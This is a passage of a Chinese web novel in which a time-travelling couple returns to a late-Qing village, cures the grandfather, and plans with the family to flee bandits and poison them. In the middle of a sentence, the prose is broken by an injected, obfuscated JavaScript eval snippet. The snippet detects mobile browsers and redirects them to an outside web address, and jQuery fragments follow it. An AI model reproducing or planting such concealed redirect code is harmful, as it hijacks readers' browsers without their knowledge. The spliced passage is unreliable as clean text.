及腰的长发咔嚓剪到过肩的位置,再轮番上阵洗发水、杀菌药剂、护发素和护发精油,最后吹干头发,中分绑一条麻花辫。 温苒捧着脸,对着镜子里的自己左右打量,还好是自己的克隆身体自己的长相,不然该多别扭。 之后轮到霍骁北,他还没洗过这么长的头发,洗之前干脆也咔嚓了一剪子剪短了点儿。 洗完头发,两人又轮流擦了擦身上。 一通折腾下来,刚吃的饭又饿了,于是端出饭菜又吃了一顿。 霍骁北给温苒夹菜,“慢点吃,不够还有,待会儿吃完我带你进村。” 温苒咽下饭菜,抱着杯子灌了一肚子橙汁,问他:“那些土匪就我们两个人暂时对付不了,要不我们出钱,送温家人去关外?” 关外是指山海关以外,关内百姓去关外谋生,就是闯关东。 闯关东是清末著名的人口大迁移之一,咸丰时期颁布了开禁放垦政策,旨在移民固边,此后深受天灾人祸的民间百姓纷纷向地广人稀的墨江地区迁移。 霍骁北想了想,同她道:“那你现在的家人大概会带我们一起。” 温苒:“……” 但她们又不能留下,她们得赶紧想办法去国外。 难不成去国外也要带温家人一起? 这个问题暂时不考虑,填饱肚子后,趁着夜色两人下山进了村子。 温家。 白日里叫土匪推倒的围墙还未被清理,老爷子昏迷在床至今未醒,大家都没那个心思关心别的。 温家老三和媳妇儿陈六娘在炕边伺候温老汉,眼泪还在流,但心里头已经没了指望,神情死寂麻木。 堂屋里,过来看老爷子的宋童生宋守言啪嗒啪嗒抽着旱烟,眉头愁得能夹死苍蝇。 “唉这世道,前个儿皇帝大婚把咱们直隶刮了一遍又一遍,听镇上说书的讲,那排场跟世祖皇帝当年大婚比也不差!” 可也不看看这什么光景,前年黄河发大水,上年整个夏天就下了两场雨,地里蹦哒的蚂蚱比蚊子都多,今年土匪大摇大摆地进城那些官兵连屁都不敢放一个! 奶奶的这什么世道? 真想裹上红头巾,反了他丫的皇帝小儿! 32. 第 32 章 老百姓日出而作日落而息,太阳一落山就缩回房子里。 除了天边静静注视着这片土地的月亮,原始的村落里一丝光亮也无。 这样寂静的氛围里,两个人影进了村。 踩着几声犬吠,温苒和霍骁北停在了温家倒塌的院墙前。 谁干的? 不会是那些土匪吧? 那些丧心病狂的土匪该不会把这一家灭门了吧? 一股寒意从脚底涌上心头,温苒害怕地躲进身旁人怀里,浑身发抖,声音细微到几不可闻,“霍骁北?” 霍骁北将人抱紧了,轻抚着她的后背安慰,“不怕,有我。我听见了里面说话的声音,人应该没事。” 温家院墙倒了,大门关不上,干脆安排了人守在院里。 两人站在门口说话,院里人隐约能听到细微话音。 靠在墙后打盹儿的二哥温一茂探头一看,跟见了鬼似得屁股尿流爬起来,冲出去低声吼了句:“还不快进来!” 说着一手拽一个,老鼻子牛劲儿愣是把两人拖进了院子。 这么大动静,堂屋众人纷纷起身出来。 没塌的两面墙落下一片浓重阴影,温苒和霍骁北就站在阴影里,面容模糊叫人看不清。 但即便看不清,对面的温家人也一眼就认出来,那是家里年纪最小最宝贝的孩子。 大伯娘张玉香抹着泪跑过来,一把将温苒搂进怀里,带着哭腔:“孩子你怎么回来了?” 抱了一会儿,她松开温苒用力推了一把,“你不能回来!你快走!快让霍家小子带你走!走得越远越好!” 后头一起跟过来的二伯娘杜月娘拍了大嫂一下,哭着道:“让孩子再等等,见她爷爷一面再走!” 宋守言啪嗒抽了口旱烟,转身进屋一边道:“一茂娘说得没错,让孩子见见她爷。” 老叔岁数大,这回不知道能不能挺过去,万一有个万一……好教老头儿没什么遗憾地闭眼。 东头屋里,三房两口子一心照顾老爷子。 可听见外头的动静闹了有一会儿,陈六娘就出来瞅一眼情况。 这时温苒被簇拥着朝屋里走,母女两个在门口相遇。 猝不及防见到心里惦记的闺女,陈六娘呆了一瞬,回过神来腿一软跌跌撞撞地上前扑向温苒。 温苒伸手将她托住,“娘你慢点儿。” 陈六娘趴在女儿怀里,压抑着声音嚎哭,“花儿!娘的花儿啊!你回来做什么?你快走!” 众人听了,纷纷不忍地别过头去抹泪。 白日里甚至就在刚才陈六娘还在后悔,后悔让闺女和霍家小子私奔,到了却要用家里所有人的命来偿。 她是花儿的娘,为了自己闺女她怎么着都行,但她不忍心连累大家。 可现在陈六娘亲眼见到自家闺女,又只想让她走得远远的。 那土匪头子要人没有,尽管来取她的命就是! 大伯温向生叹着气抹了把脸,劝道:“弟妹,让小苒去见爹一面,说几句话,说完马上让一荣一茂兄弟俩送花儿离开。” 陈六娘抬头不舍地看着自家闺女,说道:“咱家院子不知道叫哪个不长眼地给撞塌了,把你爷爷气着了,你别担心,不是什么大毛病。” 宋守言吧嗒着旱烟,附和这个说辞:“嗯,老叔气性大,其实没多大事。” 温苒垂下红彤彤的湿热的眼睛,“让我看看爷爷吧。” 因为是传送失误,系统补偿了两人一人一个技能,温苒的技能是满级神医技能,只要人还有一口气她就能救回来。 可别人不晓得,他们只以为温苒说的看看就是看看,没别的意思。 但在此之前,温苒抬头看向身侧高大沉默的男人,“你去帮我把东西拿过来吧。” 霍骁北点点头,他知道她说的是什么。 另外,他看了眼这一屋子蓬头垢面面黄肌瘦的人,说道:“我和温苒还带了些吃的,大哥随我去拿一趟?” 温苒? 满屋子人脑袋上蹦出问号,谁啊? 温苒是谁?谁是温苒?除了你俩还有别人一起来了? 还有大哥? 温一荣茫然眨眼,这小子不是在喊他吧? 最先反应过来的竟然是宋守言,他是读书人,和温家的关系不错,是以温苒这一辈儿兄妹三个的名字都是他取的。 他记起来了,三房的闺女小花儿的大名就是温苒啊! 经他一提醒,大家恍然大悟。 陈六娘摸着自家姑娘的头发,连连点头:“对对对!我家小花儿的大名是叫这个!” 温苒:“……” 有预感接下来她还得被叫一阵子小花儿。 大哥温一荣跟霍骁北出门去取东西。 守大门的温一茂听了一脸迷惑,这俩人回来带东西了吗? 结果没多会儿功夫,温一茂就见大哥和便宜妹婿一个端着锅一个挎着筐回来了。 锅里是粥,某年霍骁北煮的八宝粥,专门给温苒熬的,喝了一年都没喝完,而到了新的一年霍骁北又会熬新的八宝粥。 系统包裹里还有包装的速食八宝粥,是霍骁北买来自己当早餐喝的。 他虽然有一手好厨艺,但在吃喝上并不怎么讲究,只要能填饱肚子就行。 说起来他也是在遇到温苒以后,为了让这姑娘来自家吃饭,才正儿八经地琢磨起来厨艺来。 大概他在这方面有些天赋,对着几块钱一本的菜谱做出来的饭菜都让人赞不绝口。 或许等到了国外,霍骁北设想着,他可以开一家餐馆。 东西搁到堂屋的四方桌上。 八宝粥还腾腾冒着热气,旁边筐里黄澄澄玉米面饼子满满当当,散发着清甜香味。 温一荣进屋喊大家吃饭,今天就早晨那会儿熬了锅棒子面粥,一人一碗别说男人们了女人也扛不住。 温一茂早就饿得直咽口水,现下闻着饼子的香气他实在没忍住,飞快抓起一个就哐哐往嘴里塞。 饼子一口入温一茂就睁大了俩牛眼,怎么会有这么香这么暄软的窝头?比他吃过的白面馍馍都好吃! 而且里面有馅儿?他迫不及待地嚼了嚼,眼睛睁得更大了,还是肉丁儿? 东屋头,屋里安静得可怕,大家屏着呼吸气都不敢出重了,生怕惊扰了苒丫头。 苒丫头说她会医术,虽然大家都不信,但这丫头一身的架势拿得足足的就挺唬人,把她们都给唬了。 温苒坐在炕头,神情严肃地摸着温老汉的脉。 陈六娘紧挨着闺女坐,温向安站在一旁也离闺女很近。 有满级神医技能,脉相一入手温苒就完全清楚了对方的身体情况。 旧社会的穷苦老百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488731|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓深受压迫,吃不饱穿不暖,夏干三伏冬干三九,还有数不尽的操心事,外表看着能吃能喝能干,其实浑身的大小毛病一堆。 老爷子说是老爷子,看面相黑黝黝的脸上满是皱纹,头发也掺了白,其实还不到五十岁。 老头儿的身体就跟个筛子似的,筛子上的窟窿眼还个个都贼宽敞。 这样的身体状况,稍稍受个刺激就可能闭上眼再也醒不过来。 门帘掀起,温一荣和霍骁北进来。 温一荣:“宋叔,爹娘,二叔二婶三叔三婶,有粥和窝头,还热乎着你们好歹吃点,我在这儿照顾爷爷。” 宋守言摆摆手,“让你爹他们先去,我待会儿再吃。花儿呢?你吃了没?没吃也先去吃,等你爷爷醒了我再喊你。” 温苒摇头,“我和北哥吃过了。” 霍骁北走近,把手里的医药箱放在她手边。 宋守言让他们都去吃饭,他自己留下。 温向安和陈六娘不想去,饭什么的一顿不吃也没什么,还是闺女重要。 等温苒开口说她们不吃她心疼,这夫妻俩才依依不舍地离开。 都出去吃饭了,温苒打开药箱,宋守言举着蜡烛好奇地上前,就见箱子里分了三层而每一层又分出几个格子,布局井井有条让人舒适。 温苒打开了其中一个格子,宋守言看到里面的东西,手里的烟斗和蜡烛差点儿扔出去,“这这这这是人参?!” 他急切地往上凑了凑,借着烛光仔细观察后,确认这绝对就是人参没错! 霍骁北面无表情嗯了声,似是随口解释了一句:“我和苒妹进山采到的,大的那根卖了换钱,这根小的留着自己用。” 宋守言无声地张张嘴,抬头看看这小子,再低头看看那根手指粗的‘小’人参,脑子都有点不会转了。 这还小?这起码也有手指头粗细了? 别欺负他没见识啊,他怎么也是个童生,读书人知不知道? 读书人眼睁睁看着温苒切下一片人参,塞到了温老汉嘴里。 宋守言想起什么,“丫头你这医术跟谁学的?能不能成?我看书上讲药是不能随便用的,像这人参是大补之物,但你爷爷的身体……不是我说,太虚了,虚不受补。” 嗯,这是个有见识会思考的读书人。 温苒没说话,她这人不会撒谎,一撒谎就脸红结巴。 所以还是交给霍骁北解释:“和太行山里一个老大夫学的,有两年了。” 太行山里奇事多,晋冀两地的太行山就和北三省的长白山一样,在老百姓心中充满了奇幻色彩。 宋守言表情惊奇,“咋之前没听说过?” 霍骁北神色淡定,“之前大夫说苒妹没出师,不许张扬。” 听着像世外高人的调调,有这种要求不奇怪。 烟斗虚空点了点温苒,宋守言又问:“那现在苒丫头出师了?” 霍骁北言简意赅:“嗯,苒妹出师了,老大夫不久前仙逝。” 直接把宋守言可能问的下一个问题给堵了回去。 宋守言吧嗒吸了口烟,呼出来的烟雾盘旋着消散在空中。 一阵沉默后,他皱着眉头,开口道:“院墙是那些土匪扒的,地里刚栽的庄稼也被毁了,他们放话,说三天之内要见到苒丫头。” 宋守言盯着两人,“你们怎么想?” 33. 第 33 章 话音落下,却听屋外一声脆响,像是什么东西摔在地上碎了的声音。 随即门帘被掀开,一道身影冲进来挡在温苒面前。 温苒仰头,凭借着蜡烛的光芒认出了陈六娘的身份。 陈六娘一面死死护着闺女,一面回头冲宋守言低吼:“你胡说?你不能留下我家花儿!你给我走!你走!” 宋守言:“?” 不是?我操心的这到底是谁家事儿啊? 屋里的动静传到堂屋,顿时呼啦一群人担心地挤进来。 温向安一见媳妇儿护着闺女的架势就猜到了什么,立马拽上便宜女婿一起挡在娘儿俩身前。 他嘴皮子不利索,没说话,但意思就一个,他闺女他护定了! 老大温向生看看小弟和弟媳,再看看宋守言,眼神询问发生了什么。 宋守言:“……” 宋守言无语地抹了把脸,这叫什么事儿? 他开口解释:“我也没说啥,就问问苒丫头霍家这小子有什么打算。” 温向生张了张嘴,还没出声,就听小侄女的声音遥遥传出来:“我知道宋伯伯没有恶意,娘,爹,你们不用这么紧张。” 可温老三夫妇一动不动,根本不听。 这是连自家兄弟都信不过了。 温苒无奈,只能捋着她娘的后背安抚。 温向生叹气,“老三你别这样,咱说了要送花儿离开就送她离开。花儿是你们两口子的闺女,也是我和老二的侄女。咱家孩子少,打小咱们三兄弟就都拿他们仨孩子当自己亲生的,花儿也就是我和玉香的亲姑娘,我怎么能把亲闺女往火坑里推?” 老二温向平高大的个子比门框还高,一向憨厚沉默的他不怎么会说话,只是默默站到了小弟温向安身旁。 他和他们夫妻一个意思。 温家三兄弟有意思,老二老三是锯嘴的葫芦,反而是老大能说会道。 宋守言瞅瞅那个瞅瞅这个,提议:“既然你们都没有异议,不如先听听苒丫头和霍小子怎么说?” 他还没说完,温向安就大声道:“她们走!马上走!” 但紧接着一道声音就否决了他的话:“我不走!” 以防这一屋子人尤其是她爹娘冲动行事,万一当场把她们架出去,温苒不敢停顿,又道:“霍骁北你说!” 结果下一秒她娘抱着她的力道就加大了,温苒只好飞快小声同她道:“娘我们一起走!” 陈六娘愣了下,随即两眼放光。 对啊! 为什么不一起走? 和温一荣去取饭的路上,霍骁北已经从他嘴里打听出来这两天发生的事。 沙麻金派人毁了地里的庄稼,扒了温家的院墙,还放话说三天之内要见到温苒。 而若是温苒迟迟不出现,凭这帮土匪杀人如麻,温家这几口人是真的会有性命之忧。 刚才温苒也从宋守言那里得知了这些事,小两口虽然没说话,但用眼神交流已经确定了接下来的计划。 ——带温家人离开。 霍骁北道:“我和小苒回来,是想带家里人一起走。” 温一茂和他爹温向平如初一辙的壮实体格,却没有继承他爹的沉默寡言,他向来直肠子有什么说什么。 “我同意!咱们要走一起走!” 他娘杜月娘回头就锤了她一拳,“你闭嘴!吃你的窝头去!” 温一茂委屈巴巴地去瞅小妹,结果人太多看不着,只好去看大哥。 温一荣是三兄妹里最沉稳的,他也说:“我也同意。” 温一茂立马扭头看他娘,你看! 杜月娘白了儿子一眼,去看自己男人,其实她也觉得可以一起走。 苒丫头肯定不能让她进土匪窝,但剩下这么一大家子也不能干等死啊! 既然要走干脆就一起走! 温老汉昏迷不醒,拿主意的就是老大温向生。 张玉香催促自家男人,“他大伯你拿个话儿,要走咱最好赶早,今晚就收拾动身,不然迟了走不走得了可还两说。” 温向生眼底动了动,“爹还没醒。” 他心里已经有了决断,可背井离乡这种大事总要问过他爹才行。 温苒用银针刺穴叫醒了老爷子。 温老汉悠悠转醒,眼前一片昏暗他就以为自己已经没了,再一看到温苒,小孙女也没了,爷孙俩一起下来了! 温老汉那个眼泪登时就哗啦啦的,因为含着参片说话囫囵不清:“花儿你怎么也下来了?是爷爷看走眼了,爷爷对不起你啊,爷爷以为霍家那小子是个好的没想到嘎——” 没想到温老汉一眨眼就发现旁边围着一群人,而且小孙女身后就站着霍家的臭小子? 再一瞅这群人,他们老温家从大到小包圆儿了,都在这呢儿! 呃,宋守言也在…… 温一茂个傻大个捧着半拉窝头瞎乐呵,“爷你说啥呢?什么下来了上去了?我们刚才商量要和小苒一起走,大家都同意,就差你了!” 温老汉觉得自己需要静静。 于是他又躺回去,躺下后还呸了下,把嘴里不知道什么东西给呸出去。 哪想到他不过吐了下脏东西,宋守言却一声暴喝:“你干啥呢老叔?!” 被这么一吼,温老汉懵了下,然后一脸委屈地坐起来,他想说什么还没来得及说,就见宋守言扔掉他的宝贝烟斗哐哐地利索爬上炕去够什么东西。 众人一瞅,纷纷别过头没眼看,那不我爹/爷/自个吐的唾沫星子吗? 宋守言你还是读书人呢这么不讲究? 知道宋守言心疼什么的温苒和霍骁北:“……” 宋守言捡回来参片,反手就给温老汉塞回去,大声呵斥:“你给我含着!这是参片!你个不识货的老东西瞎吐什么吐?!” 啥?! 温老汉也顾不上脏不脏,立马把嘴闭得紧紧的,整张脸都皱吧起来仿佛在用力。 其他人也都惊了,“参片?哪来的?” 大家疑问着,眼神却落在了温苒和霍骁北身上,要说可能也就这俩人可能了。 宋守言三言两语给大家解释了一下,包括温苒的医术和人参。 陈六娘抱着闺女,稀罕地上下打量,“乖乖,我闺女现在难不成 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“另外,大件东西不用带,带上粮食衣服和一卷铺盖就行。我和小苒卖了一根人参手上有些积蓄,缺少什么到了地方再买。” 温老汉诧异地望着便宜孙女婿,正式打量他几眼,这小子可以。 温向生听了去看他爹,温老汉对大儿子点点头,“听你女婿的。” 一家之主下了指示,一屋子人哗啦啦散了。 东屋这头就剩四个人。 霍骁北出去端了粥和窝头进来,温老汉和宋守言坐在炕沿上,端着碗拿着窝头边吃边说。 温老汉先问宋守言,“你也一起跟咱们走吧?” 宋守言想了想,“那就一起吧,再带上周凯。” 宋守言和温苒的二伯温向平差不多大年纪,他家现在就剩他一个。 十几年前大灾荒的时候,宋守言外出买粮,宋家仅剩的一点粮食被偷,他的妻儿被活活饿死。 村里人还想偷他的孩子下锅,要不是温老汉发现了死命拦着,等宋守言回来怕是连妻儿的骨头都进了肚子。 也因为这件事,宋守言不再和村里人来往,还把家搬到了偏僻的温家旁边。 温家是村里的独姓人家,多年前逃难过来的,独木难支,温家人平时和其他同姓同宗的大姓人家连说话都不敢大声。 蜡烛烧到底了,霍骁北换上新蜡烛,暗下去的屋子又亮起来。 他问这两位拿事的长辈,“咱们这么走了,土匪会不会牵连村里人?” 宋守言听见这话沉默地摇摇头,“那也是没办法的事,山上的是土匪不是大善人,他们见过血杀过人连官兵都不敢动他们。” “就算没有我们,土匪就会放过村里人吗?” 温老汉沉着脸。 人不为己天诛地灭,他不可能为了村里人去牺牲小孙女。 一家人就该同甘共苦,他也不可能为了家里其他人牺牲小孙女。 温苒和霍骁北默然。 乱世之中,能保全自己就已经很不容易。 34. 第 34 章 可是,如果真的因为他们牵连了村里其他人,日后每每回想起两人都会良心不安。 温苒抿了抿嘴唇,“其实,宋叔你见多识广应该知道医毒不分家。” 见血封喉的毒·药她这里要多少有多少。 书里不都这样写吗? 给土匪喝的水里吃的饭菜里倒上毒·药,不费吹灰之力就能解决对方。 还有更夸张的毒·烟她觉得可行性不大就没说。 宋守言张着嘴久久无言,好半晌后才道:“山上是有条河,土匪吃的就是那里水。” 啊?河里下毒能行吗?是不是得哐哐倒十来斤才有作用? 温苒还在怀疑着,就听宋守言话锋一转:“可咱村里也吃啊!” 温苒:“……” 杀敌一千自损八百是吧? 温苒木着脸,“如果能混进去,下毒应该不难。” 但她话没说完,温老汉就严肃地呵斥道:“谁去?你去?你敢去我就敢死在你跟前!你当土匪窝是那么好进的?去了就是送死!你不许再给老头子动歪脑筋!” 劈头盖脸一顿训直接给温苒训得不敢再开口了,她于是求助地望向霍骁北,靠你了。 霍骁北自然不会辜负媳妇儿的期盼,抬头说道:“我去应该……” 结果刚开了个头,温老汉就毫不留情打断:“臭小子你也给我老实待着!我当老头子以前那么乖巧的小孙女是跟谁学的胆子这么大?原来是跟你小子学的啊?就你小子能逞英雄是吧?还你去?人官府都管不了的土匪你一个人你能干什么?你去送人头啊?” 非常好,霍骁北也被打回来了。 小两口对视一眼,看来只能等一等再提。 但总归有些事她们是一定要做的。 那不提这个,还有个问题呢,温苒问道:“咱们要往哪里走?” “要不要去沪海?或是广州?” 温老汉一脸‘你这孩子说啥玩意呢’的表情。 还是宋守言见多识广,跟他解释,“沪海在江浙一带,据说比北京城还繁华,洋人们在那地儿占了很多租界。广州在沪海南边,那边儿洋人也多。” 一听两地都有洋人,温老汉想也不想就拨浪脑袋,“不成不成!咱连土匪都得躲着走,哪儿招惹得起洋人?” 宋守言咂咂嘴有点遗憾,这俩地儿繁华富庶,委实值得去看一看。 他问:“那你想去哪儿?” 温老汉眼神发直干巴巴地嚼着窝头,过了会儿端起八宝粥呼噜噜几口清了碗底,一抹嘴说道:“去晋省,或者关外。” 他说完,眼神一一点在三人身上,等待他们的回应。 宋守言举起粥碗一饮而尽,投出他的一票:“去关外吧。” 温苒脑海中一瞬间浮现出如横穿西伯利亚、东渡白令海峡等等匪夷所思的出走亚洲的计划。 她自己都挺无语,赶紧晃晃脑袋晃走这些想法,然后十分严肃十分强硬地坚持她的选择:“我想去沪海。” 听见这话,温老汉仰头看看屋顶,低头瞅瞅蜡烛,嘟囔着回应:“沪海太远了,老头子这把岁数怕走不到就没了,没了就没了,万一见不着你奶该咋办?” 温苒茫然地眨了眨眼,倏地长睫颤动,她扭头望向霍骁北,杏眼瞪圆。 这老头儿是在跟她卖惨吧?是吧是吧? 霍骁北在桌下悄悄握住她的手,俯身低声同她道:“别着急,我们有十年的时间可以慢慢准备。” 温苒抿了抿唇角,十年的时间其实一点都不充裕,但是…… 算了,又不能丢下这家人不管,照她爹娘看她跟眼珠子似的态度,她要是和霍骁北一意孤行去沪海,怕是夫妻两个要疯。 小两口头碰头说悄悄话,宋守言瞧见,胳膊肘拐着温老汉,呲个大牙让他也瞧。 温老汉操起砂锅大拳头挥走这瞎热闹的后生,合着不是你姑娘是吧? 用得着宋守言提醒?他早就瞧见了,臭小子把小手拉上这么久还攥着不肯撒呢! 温老汉看不过眼,脖子一梗喉咙里咳出声来。 小两口齐齐扭头望过来,但手还没撒! 温老汉刚想说什么,外头院里传进来一道不同寻常的声音:“叔伯婶子们,大半夜你们这、这拾掇屋子还是收拾东西呢?这是要干啥?” 是外人! 屋里四人脸色一变,不约而同地噤声。 宋守言跃下炕头,步履匆匆地朝外去,丢下一句:“老叔你给他俩找个地儿藏起来,我去瞅瞅情况。” 温老汉打开木柜子让两人钻进去,他守在柜子旁边警惕着外头的动静。 老大温向生的声音传进来,他叹着气语气发苦:“唉,我爹晕了两天多还没醒,眼看着不中用了,我们兄弟不死心,想送老头儿去镇上医馆让大夫瞧瞧,好歹能得个准信不是?” 紧接着,赶到现场的宋守言接过话头:“这不巧了,家里那几个大钱都叫花儿和霍家小子私奔带走了,正愁没钱医馆不让咱进呢,你们来得真巧,救人救急,你们赶紧回趟家拿钱过来!” “啊?我家也没几个钱啊,我家过年都吃不上肉呢!” “我家也是,哪有钱啊?宋童生你瞅我这袄子都穿几年了也没钱换一件!” 一听说要钱,门口探头探脑的几个人纷纷摇头摆手找借口溜了。 宋守言抻起脖子重重一扽,朝地上呸了口唾沫,盯着几人待过的地方眼神阴沉。 很快他收回视线,看一圈三房的人缓下声音说:“你们继续收拾,一茂你看着点外头,有什么动静警醒着点儿!” 听见人都走了,温老汉赶紧打开柜子让俩人出来透气。 宋守言刚好掀帘进来,急冲冲道:“坏事了儿!霍家小子你带小苒先走,咱们在镇上汇合!” 温老汉脸色一白,“怎么了?难道是那帮土匪来了?” 宋守言找到外头穿的大袄,展开抖了抖边往身上套边说:“来的那几个小子是咱村里的无赖!” 他冷笑,“呵!说什么听到动静过来关心,他们压根儿就不住这附近!分明是帮土匪盯着咱家来的!” 霍骁北瞬间收紧抱着温苒的力道,身体紧绷起来,“别怕,我们马上就走。” 温苒靠在他怀里紧咬着嘴唇,她有点怕,但更多的却思绪却在想毒·药都还没做呢,被抓进土匪窝该怎么办? 温老汉大惊失色,“什么?他、他们怎么能这么做?” 宋守言咬牙咬得咯吱响,“我早就知道他们什么德性!” 宋守言转向相拥的俩人,嗓音浸着寒意:“现下你们知道了什么叫人善被人欺,你们可怜村里人,却不晓得村里人一直躲在你们背后等着捅刀子呢!” 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好半晌温苒才稍微松开抱着他的力气,声音沉闷:“我没怕,我觉得你的技能比我的好。” 霍骁北低头,浅浅亲了亲她的眉心,嗓音含着笑意:“是吗?我觉得你的技能更好,你制作毒·药,我才能混进土匪窝下药。” 温苒抬眸,眼底盛满跃跃欲试,“怎么混进去?利用刚才那些无赖?” 霍骁北却不说了,“太晚了先休息,明天见到宋童生问问他的想法。” 温苒鼓起腮瞪他,“你是不是想一个人偷偷进土匪窝?不带我是不是?” 霍骁北:“……” 霍骁北是有这个意思,古武技能是还可以,但谁能保证万无一失? 温苒掰着他的脑袋让他看着自己,凶巴巴吼道:“你休想!” 霍骁北低头去亲她,手臂圈着她的腰不让她躲,故意调笑:“我自己去等我回来我们就浪迹天涯,我们一起去可就是做亡命鸳鸯。” 温苒瞪圆了眼睛,这么不正经的话霍骁北你从前那么正经的人是怎么说出来的? 她一把捂住霍骁北不老实的嘴,“但你自己去万一……万一……” 万一回不来怎么办? 温苒垂下脑袋,极轻极轻的嗓音砸在霍骁北心口上,“要不我们别顾及其他人了……” 安静的帐篷里,温苒听到头顶的呼吸顿了顿,她抿了抿唇角,张口想要再重复一遍,腰上却忽地传来一股大力,她重重跌进近在咫尺的怀里抱里。 粗重的呼吸在耳旁起伏,温苒听见了他的声音:“我也想,但苒苒你以后会后悔,我也会后悔。” 温苒抵着他胸膛的手收紧,轻声:“可如果有万一……不用以后,我就会后悔,我可以做个坏人。” 不做好事就是坏人,那这天底下就没有好人了。 温苒手下的胸膛震了震,她敏锐地察觉到这是好似嘲笑的行为。 温苒抬手就是一爪子,“你不许笑!” 霍骁北停下笑声,抚摸着她的头发,“那好吧,我和你一起。” 温苒仰起头,杏眼亮晶晶的,讨好地亲了他下巴一口,然后不满地哼道:“你是不是怕我拖后腿?我才不会!我射击次次十环我还会搏击还会散打这些不都是你教我的吗你难道忘了?” 35. 第 35 章 霍骁北皱眉故作疑惑,“是吗?我教过你这些?” 温苒小鸡啄米一样点头,“嗯嗯嗯!” 霍骁北摇头,“我怎么从来没听过一声‘老师’?” 温苒:“……” 温苒在他怀里坐直,表情严肃,两手捧起他的‘大脸’,“你外语都是谁教的?” 英语法语德语…… 而且这人先前就有哪里不对,英语这么普及的第二外语他都不怎么熟练,俄语却说得十分流畅。 穿越后温苒听他坦白,才知道他早就穿越过一次,在上辈子的上辈子霍骁北生活在华国的六十年代前后,也就怪不得俄语那么熟练。 霍骁北:“……” 温老师和霍老师打平。 时间很晚了,温苒困得打哈欠,但她一想到要进土匪窝大杀四方就激动亢奋地睡不着。 她甚至现在就爬起来打算制作毒·药。 霍骁北:“……” 霍骁北强硬地把温苒摁回被窝,手臂禁锢着这快要蹦哒上天的姑娘,关灯。 “睡觉。” 温苒:“……” 山下。 二房夫妻连同温一荣温一茂两兄弟连夜送温老汉到了镇上。 次日清早饭刚过,温家就迎来了不速之客。 村里有名的无赖流氓前头簇拥着几个土匪,后头远远坠着看热闹的村民,一群人乌泱泱地出现在温家大门外。 大房三房夫妻装模作样地拾掇院墙下的狼藉,心里则在盘算着去关外还要带些什么。 瞧见来人,四个人脸色煞白,不自觉地瑟缩发抖,心下又惧又恨,怕被看到忙垂下脑袋掩饰情绪。 宋兄弟说得没错,自家这遭祸事果然是那几个无赖招来的! 分明自打土匪来了镇上他们就拘着孩子不让出门,可土匪们还是找上了门来! 这帮丧了良心烂了心肝的,肠穿肚烂下十八层地狱! 来的土匪一声暴喝,“人呢?还不滚出来回话?” 温向生哆哆嗦嗦上前,“这位爷,不知您有什么吩咐?” 土匪前后点了点数,拧眉,“怎么就你们几个?其他人呢?都死哪儿去了?是不是跑了?啊?” 土匪说着一把薅起温向生的衣领,左右一边一个耳光,“把人都给我叫出来!少一个我剁你一根手指头!” 张玉香腿一软瘫倒在地,不停地摇着头流泪,“不要!” 听见动静赶忙起床穿衣的宋守言从隔壁过来,“这位爷息怒,家里老爷子昏迷了两天多还没醒,昨夜里连夜送去了镇上医馆,不信您现在派人去瞅瞅情况。” 听见声音,土匪转过头,上下打量他一遍,忽地笑着问:“赖子,这就是你说的咱村里的读书人,宋童生?” 赖子,也是村里有名的无赖上前,咧着嘴笑:“是啊!是咱村里大名鼎鼎的宋童生!” 这话一出,顿时跟这俩一伙来的人群里爆发狂笑。 宋守言陪着笑,当作没听见其中的嘲讽和不屑。 笑吧笑吧,只要别动手笑多长时间都行。 知道人不是跑了,土匪松开温向生。 他环视一圈在场人,主要是院子外头围观的村民,高声道:“我们沙大当家放了话,三天之内一定要见到人!死要尸活要人!否则就要这家人拿命来赔!” 说到这里他停了停,接着用更高的音量通知:“要是这家人也不见了,那就只好要全村的人拿命来赔了!” 宋守言当即暗道不好。 有这番话,他们怕是走不了了。 跟来的村民们沉着脸,再看温家的眼神已经完全变了。 那不是在看朝夕相处的村邻的眼神,那是在埋怨,那是在愤恨,那是在看仇人,那是只能你们去死…… 土匪带着混混们离开。 村民也各自散去。 但偏僻的温家附近,却多出数道目光盘旋。 宋守言连口水都没顾上喝,匆匆奔去镇上,直奔镖局后面街上的小院。 他砰砰砸门,“周凯!一荣一茂!快开门!” 高壮的半大少年打开门,“舅舅!” 宋守言踮起脚拍拍外甥肩膀,“你爷爷他们来没来?” 小院东侧屋的窗户从里推开,温老汉探出脑袋,“咋跑这满头大汗?快进来暖和暖和!” 宋守言快步进屋,“出事儿了,苒丫头和霍家小子还没到吗?” 宋守言三言两语道出晨早那次风波,满屋子人脸色皆变。 温一茂胸膛剧烈起伏,呼吸粗重,猛一拳锤向墙壁,“大不了跟那帮土匪拼了!” 温老汉抓起手边茶碗砸过去,喝道:“你拼你拿什么拼?你烂命一条拼没了除了我们几条烂命替你抹泪还有谁在意?给我滚出去吹风醒醒!” 温一茂缩着脖子,老老实实出去吹风冷静。 门打开。 门关上。 砰—— 门从外面重重推开砸在墙上,屋里众人吓一跳。 温一茂指着门口,惊喜道:“三妹来了!我听到她的声音了!” 温老汉闭闭眼,这孩子能把人蠢死。 他大吼:“那你还不快些去开门?!” 不多会儿,周凯去开院门,迎进来两人和一辆满满当当的骡车。 满满的骡车很吸引人,但现在大家都顾不上这个。 温老汉拉过三个孙子孙女,连同便宜女婿一起,不舍地同她们嘱咐:“独木难支你们兄妹往后要互相扶持,就跟你们爹娘一样,知道吗?” 温苒忍不住开口:“爷爷你——” 温老汉打断她:“先听爷爷说,往后你们拿不准的就去问你们宋叔,他和周凯跟你们一起去关外,你们敬他要跟敬爹娘一样,知道吗?” 温苒再次开口:“爷爷我——” 温老汉崩溃泪奔,擦眼泪的手不停颤抖,也再次打断她:“不许说爷爷不爱听的话!” 温苒:“……” 这老头儿现在是听不进去一点儿了。 温苒转头叫上两个堂兄,和宋守言周凯舅甥俩,让二伯二伯娘看好老头儿,她们去别的屋商量。 进屋关门,温苒直截了当:“我们要进山!混进土匪窝下毒!” 